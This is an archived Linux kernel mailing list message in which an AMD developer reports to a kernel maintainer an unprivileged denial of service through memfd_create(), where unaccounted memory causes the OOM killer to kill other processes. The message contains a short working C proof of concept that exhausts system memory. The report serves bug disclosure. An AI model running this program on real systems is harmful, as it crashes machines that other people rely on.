linux-kernel.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
From: "Christian König" <christian.koenig@amd.com>
To: Michal Hocko <mhocko@suse.com>, LKML <linux-kernel@vger.kernel.org>
Subject: Possible deny of service with memfd_create()
Date: Thu, 4 Feb 2021 17:32:20 +0100	[thread overview]
Message-ID: <e7e6231d-8cf9-80a6-7459-5fec9ee547ba@amd.com> (raw)

Hi Michal,

as requested in the other mail thread the following sample code gets my 
test system down within seconds.

The issue is that the memory allocated for the file descriptor is not 
accounted to the process allocating it, so the OOM killer pics whatever 
process it things is good but never my small test program.

Since memfd_create() doesn't need any special permission this is a 
rather nice deny of service and as far as I can see also works with a 
standard Ubuntu 5.4.0-65-generic kernel.

Cheers,
Christian.

#define _GNU_SOURCE
#include <sys/mman.h>
#include <unistd.h>
#include <stdlib.h>

unsigned char page[4096];

int main(void)
{
         int i, fd;

         for (i = 0; i < 4096; ++i)
                 page[i] = i;

         fd = memfd_create("test", 0);

         while (1)
                 write(fd, page, 4096);
}


             reply	other threads:[~2021-02-04 16:34 UTC|newest]

Thread overview: 7+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2021-02-04 16:32 Christian König [this message]
2021-02-04 17:12 ` Possible deny of service with memfd_create() Michal Hocko
2021-02-05  0:32   ` Hugh Dickins
2021-02-05  7:54     ` Christian König
2021-02-05 10:50       ` Michal Hocko
2021-02-05 10:57         ` Christian König
2021-02-05 12:26           ` Michal Hocko

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=e7e6231d-8cf9-80a6-7459-5fec9ee547ba@amd.com \
    --to=christian.koenig@amd.com \
    --cc=linux-kernel@vger.kernel.org \
    --cc=mhocko@suse.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).